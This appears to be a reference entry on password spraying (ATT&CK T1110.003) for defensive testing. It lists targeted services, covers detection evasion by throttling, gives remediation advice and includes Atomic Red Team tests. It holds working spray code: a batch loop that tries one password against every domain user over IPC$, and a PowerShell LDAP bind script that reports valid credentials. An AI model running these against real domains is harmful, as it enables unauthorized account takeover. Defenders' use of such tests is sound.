{"T1110":"Chain with T1110 for deeper attack path","T1110.001":"Chain with T1110.001 for deeper attack path","T1110.002":"Chain with T1110.002 for deeper attack path"}
T1110.003 Password Spraying
Sub-technique of: T1110
High-Level Description
Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.
Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:
SSH (22/TCP)
Telnet (23/TCP)
FTP (21/TCP)
NetBIOS / SMB / Samba (139/TCP & 445/TCP)
LDAP (389/TCP)
Kerberos (88/TCP)
RDP / Terminal Services (3389/TCP)
HTTP/HTTP Management Services (80/TCP & 443/TCP)
MSSQL (1433/TCP)
Oracle (1521/TCP)
MySQL (3306/TCP)
VNC (5900/TCP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.
In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Password Spray all Domain Users
CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.
Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5
Supported Platforms: windows
@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
Dependencies:
List of domain users to password spray must exits at %temp%\users.txt
Atomic Test 2: Password Spray (DomainPasswordSpray)
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain
Atomic Test 3: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos
Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
Supported Platforms: windows
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}
$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
$DomainUsers | Foreach-Object {
$user = $_
$password = '#{password}'
$credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
try {
Write-Host " [-] Attempting ${password} on account ${user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of password spraying"
Atomic Test 5: WinPwn - DomainPasswordSpray Attacks
DomainPasswordSpray Attacks technique via function of WinPwn
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Password Spraying by examining the target platforms (Containers, ESXi, IaaS).
Assess Existing Defenses: Review whether mitigations for T1110.003 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
M1032 Multi-factor Authentication
Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.
M1027 Password Policies
Refer to NIST guidelines when creating password policies.
M1036 Account Use Policies
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges. Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.
Detection
Distributed Password Spraying via Authentication Failures Across Multiple Accounts
